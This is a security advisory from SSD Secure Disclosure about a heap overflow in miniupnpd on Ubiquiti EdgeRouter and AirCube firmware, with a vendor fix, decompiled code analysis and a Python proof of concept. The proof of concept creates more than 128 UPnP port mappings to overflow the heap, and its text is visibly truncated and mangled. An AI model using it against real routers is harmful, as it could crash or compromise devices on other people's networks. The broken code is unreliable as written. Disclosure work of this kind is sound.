SSD Advisory –  EdgeRouters and AirCube miniupnpd Heap Overflow


A vulnerability in EdgeRouters’s and AirCube’s miniupnpd allows LAN attackers to cause the service to overflow an internal heap and potentially execute arbitrary code.


An independent security researcher working with SSD Secure Disclosure.



Affected Devices

EdgeRouters 2.0.9-hotfix.6 and earlier

AirCube firmware version 2.8.8 and earlier

Vendor Response

The vendor has issued an advisory and fix for the vulnerability: Security Advisory Bulletin 033

Technical Analysis

A vulnerability in miniupnpd allows LAN attackers to cause a heap overflow in it.

The following are configuration and vulnerability requirements for a successful exploit to be launched.

Configuration requirements

miniupnpd exposes a dynamic TCP port to LAN clients. This port is discoverable through SSDP, and LAN clients may discover this port. miniupnpd is started through

Vulnerability requirements

Configuration of miniupnpd shall allow to add and list external NAT entries. This is the case with the default configuration of miniupnpd.

miniupnpd allows to configure and manage ingress NAT entries, offering a function called Internet Gateway Daemon. On Linux, which powers most home gateways, these NAT entries are either iptables or nftables based. The following diagram explains basic functionality of IGD:

The former – iptables – is supported on old systems, while the latter – nftables – has been more recently added, as depending on more recent kernel support. Openwrt has recently added this mode to miniupnpd package, and we can expect devices to switch to nftables mode in a near future. Ubuntu 22.04 already ships miniupnpd in its nftables flavor by default.

iptables-based miniupnpd has suffered from a heap overflow in the past, though not explicitly stated as security bug, fixed in revision a77d1ff9: iptcrdr.c: memory allocation fix in get_portmappings_in_range() :

@@ -1,7 +1,7 @@
- /* $Id: iptcrdr.c,v 1.60 2018/07/06 12:00:09 nanard Exp $ */
+ /* $Id: iptcrdr.c,v 1.62 2019/08/24 07:06:22 nanard Exp $ */
 /* vim: tabstop=4 shiftwidth=4 noexpandtab
 * MiniUPnP project
- * or
+ * or
 * (c) 2006-2019 Thomas Bernard
* This software is subject to the conditions detailed
 * in the LICENCE file provided within the distribution */
 @@ -1617,6 +1617,9 @@ get_portmappings_in_range(unsigned short startport, unsigned short endport,
   unsigned short * tmp;
   /* need to increase the capacity of the array */
+  capacity += 128;
+  if (capacity <= *number)
+    capacity = *number + 1;
   tmp = realloc(array, sizeof(unsigned short)*capacity);

get_portmappings_in_range walks through the external NAT entries and returns the exterior ports. As the number of matching entries is not known in advance, the function performs the allocation of the returned array of ports. An initial array of 128 ports is allocated, and possibly reallocated when the number of matching ports reaches the capacity of the initial array. The capacity however is not updated accordingly, it is left to the very same capacity as the initial capacity. Hence, the updated array is just the same as the initially allocated array, and the overflow occurs.

miniupnpd as shipped on Ubiquiti AirCube v2.8.6 contains get_portmappings_in_range, labelled as FUN_0040d314:

void * FUN_0040d314(ushort param_1, ushort param_2, uint param_3, uint * param_4) {
  ushort uVar1;
  void * __ptr;
  int iVar2;
  int * piVar3;
  undefined4 uVar4;
  int iVar5;
  uint uVar6;
  void * pvVar7;
  * param_4 = 0;
  /* 1 */
  __ptr = calloc(0x80, 2);
  if (__ptr == (void * ) 0x0) {
    syslog(3, "%s() : calloc error", "get_portmappings_in_range");
  } else {
    iVar2 = iptc_init( & DAT_0041451c);
    if (iVar2 != 0) {
      iVar5 = iptc_is_chain(PTR_s_MINIUPNPD_00426028, iVar2);
      if (iVar5 == 0) {
        syslog(3, "chain %s not found", PTR_s_MINIUPNPD_00426028);
        pvVar7 = __ptr;
          __ptr = (void * ) 0x0;
      } else {
        iVar5 = iptc_first_rule(PTR_s_MINIUPNPD_00426028, iVar2);
        while (iVar5 != 0) {
          pvVar7 = __ptr;
          if ((( * (ushort * )(iVar5 + 0x50) == param_3) &&
              (uVar1 = * (ushort * )(iVar5 + 0x94), param_1 <= uVar1)) && (uVar1 <=
              param_2)) {
            uVar6 = * param_4;
            /* 2 */
            if ((0x7f < uVar6) && (pvVar7 = realloc(__ptr, 0x100), pvVar7 == (void *
              ) 0x0)) {
              syslog(3, "get_portmappings_in_range() : realloc(%u) error", 0x100);
              * param_4 = 0;
              pvVar7 = __ptr;
              goto LAB_0040d3f8;
            /* 3 */
            *(ushort * )((int) pvVar7 + uVar6 * 2) = uVar1;
            * param_4 = uVar6 + 1;
          iVar5 = iptc_next_rule(iVar5, iVar2);
          __ptr = pvVar7;
      return __ptr;
    piVar3 = __errno_location();
    uVar4 = iptc_strerror( * piVar3);
    syslog(3, "%s() : iptc_init() failed : %s", "get_portmappings_in_range", uVar4);
  return (void * ) 0x0;

This confirms the vulnerability is present in this binary:

  1. The return array is allocated for 128 ports, each being a uint16_t , e.g. 2 bytes long
  2. The array fails to be correctly reallocated, as the second argument to realloc has been replaced at compilation by the constant 0x100 . If the number of exterior NAT entries exceeds 128, the array will not be large enough
  3. Regardless of the reallocation, the port number is appended to the end of the array, resulting in a heap overflow

Proof of Concept

In order to trigger this vulnerability, a proof of concept has been developed and tested with success on another Ubiquiti device, EdgeRouter-X, whose latest firmware suffers from the same vulnerability:

#!/usr/bin/env python3
from struct import unpack
import requests
from socket import *
# miniupnpd port is expected to be 39639 here
# tcp port can be fixed using miniupnpd configuration file
# SSDP can be used against the real device to know the random port used
# get local ip address used to connect to miniupnpd
def get_local_ip(target):

s = socket(AF_INET, SOCK_STREAM)
s.connect((target, 39639))
(addr, port) = s.getsockname()
return addr
LOCAL_IP = get_local_ip(TARGET.split(':')[0])
def add_port_redirect(port=10002):

payload = f'''<?xml version='1.0' encoding='utf-8'?>
	xmlns:SOAP-ENV="" SOAPENV:encodingStyle="">

r ='http://{TARGET}/abcde/ctl/IPConn',
                      'SOAPAction': 'urn:schemas-upnporg:service:WANIPConnection:1#AddPortMapping'},
if r.status_code != 200:
raise Exception()
def get_port_mappings():

payload = f'''<?xml version='1.0' encoding='utf-8'?>
	xmlns:SOAP-ENV="" SOAPENV:encodingStyle="">

r ='http://{TARGET}/abcde/ctl/IPConn',
                      'SOAPAction': 'urn:schemas-upnporg:service:WANIPConnection:1#GetListOfPortMappings'},

assert (r.status_code == 200)
# create exterior NAT entries
for i in range(128):
# this port will be 128th entry
# this one and the followings will overflow the allocated array
# trigger the call to get_portmappings_in_range

This vulnerability, which is reachable from LAN clients, has been fixed in commit a77d1ff9 , but not published as a security vulnerability. As a consequence, it is possible to find a vulnerable miniupnpd on home gateways or 5G dongles. Ubiquiti AirCube contains a vulnerable miniupnpd, and so does Ubiquiti EdgeRouterX for example. It is likely that other products relying either directly on upstream miniupnpd, or on router distribution such as openwrt , vyos or dd-wrt still ship today with vulnerable miniupnpd.

Next, nftables-based miniupnpd has been forked from existing iptables variant. Possibly as a consequence of the lack of communication around commit a77d1ff9, it currently does not include the fix above:

LIST_FOREACH(p, & head_redirect, entry) {
  if (p -> proto == proto &&
    startport <= p -> eport &&
    p -> eport <= endport) {
    if ( * number >= capacity) {
      tmp = realloc(array,
        sizeof(unsigned short) * capacity);
      if (tmp == NULL) {
          "get_portmappings_in_range(): "
          "realloc(%u) error",
          (unsigned) sizeof(unsigned short) * capacity);
        * number = 0;
        return NULL;
      array = tmp;
    array[ * number] = p -> eport;
    ( * number) ++;


Get in touch